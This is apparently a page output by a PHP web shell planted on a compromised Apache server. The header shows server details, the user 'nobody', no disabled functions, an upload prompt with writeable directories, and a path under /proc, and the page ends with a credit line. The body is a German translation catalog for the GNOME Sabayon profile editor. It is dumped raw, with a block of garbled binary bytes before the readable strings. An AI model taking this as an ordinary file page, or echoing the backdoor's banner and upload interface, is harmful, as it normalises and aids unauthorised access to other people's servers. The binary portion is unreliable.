KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21573/root/usr/share/locale/de/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21573/root/usr/share/locale/de/LC_MESSAGES/sabayon.mo
2Iaw		
)
4BbN#+!O"q !XRB$((F]i-u
(6Oi}1P%e1.;%X!~*8&+=Oau{" "#!C!e
IG0xI+u|$
	
#",%Ou$$$ #@W\ |$ 

  
) 4 C T l 0     ,!!&!!
""#"3"<"Q"V"9v"""""#1#F#L#b#z#P#L#1$	8$B$K$R$Z$c$i$u${$	$$
$$$$$$/$%%!%2%/7%g%z%%%%%o%0'+8'*d'+'*''''&'('N(&v(((
((((p
)2~)1)2)1*.H*-w*.*-*+@+wU+p+>,,W,2,,,.,-1-B-LO-(-%--..:.P.)f..!... /#(/	L/V/p///A//.0F0Da050D0)!1,K15x181=1T%2&z2222'2
33*38F3533303/41J47|4&4	444567l89l:
s:~:,:::::;
&;1;P;+\;-;$;*;)<*0<.[<,<(<<;<-!=?O=!======	>>>.>N>:f>>> >>:?@@%@f@@@@@@@:@7AUAsA+AA,AABB7BVB}sBkB]CcCsCC	CCC	CCCCC	CC
C	C
	D
D2"D
UD`D)iDD?DDD%DEEN,EYk]p\N)rW{B
!OKZb#D5.@H*>Q=%P|[si;A6m4fe:0j1,Lw^-<X2g~C'oxqTI	R9 thzlUy+J`n8(Vc/uME
d$_"&a}vGF37?S%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %d hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon HEAD
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-02-20 14:42+0100
PO-Revision-Date: 2007-02-21 12:29+0100
Last-Translator: Hendrik Richter <hendrikr@gnome.org>
Language-Team: German <gnome-de@gnome.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
%s (%s)»%s« wurde dem unteren Panel hinzugefügt»%s« wurde dem linken Panel hinzugefügt»%s« wurde dem rechten Panel hinzugefügt»%s« wurde dem oberen Panel hinzugefügtAnwendungsstarter »%s«»%s« wurde vom unteren Panel entfernt»%s« wurde vom linken Panel entfernt»%s« wurde vom rechten Panel entfernt»%s« wurde vom oberen Panel entfernt<b>Deaktivierte Applets</b><b>Sichere Protokolle</b><kein Typ><kein Wert>Info zu SabayonProfil hinzufügenZum Starten dieses Programms sind Administratorrechte notwendig, da es in der Lage ist Systemdateien zu ändern.Applet »%s« wurde dem unteren Panel hinzugefügtApplet »%s« wurde dem linken Panel hinzugefügtApplet »%s« wurde dem rechten Panel hinzugefügtApplet »%s« wurde dem oberen Panel hinzugefügtApplet »%s« wurde vom unteren Panel entferntApplet »%s« wurde vom linken Panel entferntApplet »%s« wurde vom rechten Panel entferntApplet »%s« wurde vom oberen Panel entferntAnwendungen-MenüNicht-existierende Datei »%s« konnte nicht hinzugefügt werdenPersönlicher Order konnte nicht gefunden werden: nicht in /etc/passwd gesetzt und kein Wert in Umgebungsvariable $HOMEBenutzername konnte nicht gefunden werden: nicht in /etc/passwd gesetzt und kein Wert in Umgebungsvariable $USERÄnderungen in Profil %sAnklicken, um diese Einstellung zu erzwingenAnklicken, um diese Einstellung optional zu machen_Nicht speichernDieses Fenster schließen%s konnte nicht zum Schreiben geöffnet werdenVorgegebene GConf-EinstellungenEintrag löschenBeschreibungDas Programm für die Bearbeitung der Desktop-Benutzerprofile läuft bereitsAufrufen beliebiger Adressen unterbindenBearbeiten der _Lesezeichen verbieten_Kommandozeile abschalten_Chronik deaktivieren_Javascript-Chrome deaktiveren_Drucken deaktivierenB_eenden deaktivierenBearbeiten der _Werkzeugleisten verbieten_Unsichere Protokolle verbietenErzwungenes _Beenden deaktivieren_Bildschirm sperren verbieten_Abmelden deaktivierenDrucker_einrichtung deaktivierenSpeichern auf _Festplatte verbietenSchubladeZugriffsrechte bearbeitenÄnderungen bearbeitenProfil %s wird bearbeitetObligatorisches erzwingenObligatorische Einstellungen in der Bearbeitungssitzung erzwingenEpiphany-Internet-BrowserEinrichten und Bearbeiten von BenutzerprofilenErwartetes Ereignis: %s %sStandardprofil %s konnte nicht der Konfiguration hinzugefügt werdenÜberwachung für %s konnte nicht hinzugefügt werdenBenutzer %s konnte der Profilkonfiguration nicht hinzugefügt werdenBenutzerliste konnte nicht gelesen werdenDatei »%s« konnte nicht gelesen werden: %sMetadaten von »%s« konnten nicht gelesen werden: %sBenutzer-Datenbank konnte nicht in %s gespeichert werdenXnest konnte nicht gestartet werden: Beim Starten abgestürztXnest konnte nicht gestartet werden: Zeitüberschreitung beim Warten auf USR1-SignalDatei %s ist keine ProfilkonfigurationDatei »%s« geändertDatei »%s« erstelltDatei »%s« gelöschtDatei konnte nicht gefunden werden (%s)DateienGConfGConf-Schlüssel »%s« auf »%s« gesetztGConf-Schlüssel »%s« auf Wahrheitswert »%s« gesetztGConf-Schlüssel »%s« auf Gleitkomma »%s« gesetztGConf-Schlüssel »%s« auf Ganzzahl »%s« gesetztGConf-Schlüssel »%s« auf Liste »%s« gesetztGConf-Schlüssel »%s« auf Paar »%s« gesetztGConf-Schlüssel »%s« auf Schema »%s« gesetztGConf-Schlüssel »%s« auf Zeichenkette »%s« gesetztGConf-Schlüssel »%s« zurückgesetztAllgemein_Menüleiste verbergenFalls Sie sie nicht speichern, gehen in der letzten %d Stunde vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in den letzten %d Stunden vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten %ld Minute vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in den letzten %ld Minuten vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten %ld Sekunde vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in den letzten %ld Sekunden vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Stunde und %ld Minute vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Stunde und %ld Minuten vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Stunde vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Minute und %ld Sekunde vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Minute und %ld Sekunden vorgenommene Änderungen unwiderruflich verloren.Falls Sie sie nicht speichern, gehen in der letzten Minute vorgenommene Änderungen unwiderruflich verloren.IgnorierenWARNUNGen ignorierenUngültiger Metadatenabschnitt in »%s«: %sSperren»Bildschirm sperren«-KnopfZugriffsrechte anpassenZugriffsrechte für %s»Beenden«-KnopfHauptmenüNotwendige GConf-EinstellungenMenüleisteMozilla-Lesezeichen geändert »%s« »%s«Mozilla-Lesezeichen erstellt »%s« -> »%s«Mozilla-Lesezeichen gelöscht »%s«Mozilla-Lesezeichenordner geändert »%s«Mozilla-Lesezeichenordner erstellt »%s«Mozilla-Lesezeichenordner gelöscht »%s«Mozilla-Schlüssel »%s« auf »%s« geändertMozilla-Schlüssel »%s« auf »%s« gesetztMozilla-Schlüssel »%s« zurückgesetztNameEs konnte kein Profil für Benutzer »%s« gefunden werden
Es wurde kein Anfragefilter für %s angegebenEs wurden keine Merkmale für das Suchergebnis von %s angegebenKeine Suchbasis für %s angegebenPanelPanel »%s« hinzugefügtPanel »%s« entferntPanel-DateiEinstellungen-MenüProfil %sProfil_name:Profildatei: %sDieses Profil ist nur lesbar %sProfileinstellungen: %sProgram zum Einrichten und Bearbeiten von Benutzerprofilen»Anwendung ausführen«-Knopf%s Tests werden ausgeführt%s Tests werden ausgeführt (%s)Sabayon benötigt einen speziellen Benutzer namens »%s« um korrekt zu funktionieren. Bitte versuchen Sie es erneut, nachdem Sie diesen Benutzer erstellt haben (beispielsweise unter Verwendung des »adduser«-Befehls).Änderungen am Profil »%s« vor dem Schließen speichern?Profil speichernBereich muss einer der Werte »sub«, »base« oder »one« sein»Bildschirmfoto«-Knopf»Suchen«-KnopfSerververwaltung-MenüHier starten-MenüErfolgreich!Systemverwaltung-MenüTypEs konnte kein freies Anzeigegerät für X gefunden werdenAnwendung: %s Profilname> <Profilpfad> <Anzeigenummer>
Anwendung: %s [<Profilname>]
Dieses Profil verwendenDieses Profil für _alle Benutzer verwendenBenutzerprofile verwaltenBenutzer »%s« konnte nicht gefunden werdenBenutzer von Profil %sWertInternet-Browser-LesezeichenInternet-Browser-EinstellungenInternet-Browser-ProfillisteSie dürfen das Desktop-Benutzerprofil-Einstellungsprogramm nicht aus einer Sitzung heraus verwenden, die Sie gerade anpassenIhr Benutzerkonto ist nicht berechtigt das Programm zum Bearbeiten der Desktop-Benutzerprofile auszuführen_Info_Basierend auf:Ä_ndeurngenS_chließen_Löschen_Details_Bearbeiten_Vollbild_HilfeAlle _Panel sperren_Sperren_Profil_Profile:_Beenden_Speichern_Benutzer_Benutzer:Wahrheitswertdoppelter Name (%(name)s) in Abschnitt %(section)sGleitkommaGanzzahlungültiger Typ für Einstellung %s in %sListemehrere_Ergebnisse muss entweder »first« oder »random« seinkein StandardprofilPaardoppelter Vorgabewert in Abschnitt %sSchemaZeichenketteFrank Arnold <frank@scirocco-5v-turbo.de>
Hendrik Richter <hendrikr@gnome.org>

Anon7 - 2021